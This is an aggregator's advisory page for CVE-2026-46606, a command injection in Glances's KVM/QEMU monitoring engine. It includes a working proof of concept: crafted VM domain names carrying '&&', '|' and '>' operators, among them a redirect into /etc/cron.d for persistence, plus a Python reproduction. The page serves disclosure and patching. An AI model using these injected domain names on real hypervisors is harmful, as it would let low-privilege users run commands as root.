🛡️ CVE-2026-46606 — glances

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-78 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Glances is Vulnerable to Command Injection via KVM/QEMU VM Domain Names in glances/plugins/vms/engines/virsh.py

Summary

The Glances KVM/QEMU monitoring engine (glances/plugins/vms/engines/virsh.py) passes VM domain names, read directly from virsh list --all output, into f-string command templates that are processed by secure_popen(). secure_popen() is explicitly designed to interpret &&, |, and > as shell operators. Because domain names are never sanitised before interpolation, any user with the ability to create or rename a KVM/QEMU virtual machine can execute arbitrary commands as the OS user running Glances — commonly root on hypervisor hosts.

Details

Affected file: glances/plugins/vms/engines/virsh.py

Direct URLs (commit 04579778e733d705898a169e049dc84772c852da):

  • https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L185
  • https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/plugins/vms/engines/virsh.py#L204

The vulnerable calls are on lines 185 and 204:

```python

# line 185 (update_stats)

ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_STATS_OPTIONS} {domain}')

# line 204 (update_title)

ret_cmd = secure_popen(f'{VIRSH_PATH} {VIRSH_DOMAIN_TITLE_OPTIONS} {domain}')

```

domain is the name string parsed from the output of virsh list --all (line 59–78 in the same file); no sanitisation is applied to it at any point before it reaches secure_popen().

secure_popen() is defined in glances/secure.py. It explicitly splits the command string on &&, |, and > before invoking subprocess.Popen with shell=False on each part, meaning all three operators are treated as real pipeline/redirection control characters:

```python

# glances/secure.py

def secure_popen(cmd):

ret = ''

for c in cmd.split('&&'): # '&&' → two separate processes

ret += __secure_popen(c)

return ret

def __secure_popen(cmd):

for sub_cmd in cmd.split('|'): # '|' → stdin/stdout piped

p = Popen(sub_cmd_split, shell=False, stdin=sub_cmd_stdin, stdout=PIPE, stderr=PIPE)

# '>' is split separately for file redirection

```

By contrast, actions.py sanitises process names through _sanitize_mustache_dict() before they reach secure_popen(). The vms plugin applies no such protection.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

All three injection operators were verified:

| Operator | Effect | Confirmed |

|----------|--------|-----------|

| && | Second command executes after the virsh call | Yes |

| \| | Output of virsh piped to injected command | Yes |

| > | virsh output redirected to arbitrary file | Yes |

PoC

Special configuration required

  • Glances must be configured to monitor a KVM/QEMU hypervisor: the vms plugin must be enabled and /usr/bin/virsh must be installed and executable.
  • The attacker must have libvirt domain-creation or domain-rename privileges (e.g. membership in the libvirt group, a typical default on Ubuntu/Debian/Fedora, or a cloud-platform tenant account).
  • No custom glances.conf settings are needed beyond a working virsh setup.

Step 1 — Create a VM with a crafted domain name

Using the && operator to chain a second command:

```xml

<domain type="kvm">

<name>productionDB && touch /tmp/glances_pwned</name>

<memory>131072</memory>

<vcpu>1</vcpu>

<os><type arch="x86_64">hvm</type></os>

</domain>

```

```bash

virsh define evil-domain.xml

```

Step 2 — Start Glances with KVM monitoring enabled

```bash

glances # or: glances -s / glances -w

```

On the next monitoring cycle Glances calls:

```

virsh domstats --nowait "productionDB && touch /tmp/glances_pwned"

```

which secure_popen() splits into two processes:

1. virsh domstats --nowait productionDB

2. touch /tmp/glances_pwned

Step 3 — Verify execution

```bash

ls -la /tmp/glances_pwned # file will exist, owned by the Glances user

```

Pipe injection (|) example

Domain name: "productionDB | tee /tmp/virsh_output_stolen.txt"

The output of the virsh call is piped to tee, writing the data to an attacker-controlled path.

File-write injection (>) example

Domain name: "productionDB > /etc/cron.d/glances_backdoor"

The virsh output is redirected to a cron file, enabling persistent code execution on the next cron cycle.

Minimal Python reproduction (no VM required)

```python

import sys

sys.path.insert(0, '/path/to/glances') # adjust to local clone

from glances.secure import secure_popen

# Simulates the exact call in virsh.py line 185

domain = 'productionDB && id'

result = secure_popen(f'/bin/echo domstats --nowait {domain}')

print(result)

# Output will include two lines: the echo output AND the output of id

```

Impact

Vulnerability type: Command Injection (CWE-78)

How this vulnerability can be exploited

This issue can be reached with local access to the system, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

Weakness class

CVE-2026-46606 is classified as CWE-78: OS Command Injection. Untrusted input reaches a shell command without neutralisation, so an attacker can run arbitrary operating system commands.

Affected software

CVE-2026-46606 is recorded against 2 packages.

  • glances (fixed in 4.5.5)
  • unknown

Timeline and source

Published on 22 June 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Advisory)
github.com (Package)
github.com (Web)
github.com (Web)
pypi.org (Web)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-78
Public Exploit ✅ No
Source NVD
Published 2026-06-22
Updated 2026-08-12
Modified 2026-07-21
Fix URL N/A

Affected Packages

Software From version Fixed in
glances 4.5.5
unknown

Similar Threats

Site Security Check

Is glances part of your stack?

CVE-2026-46606 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.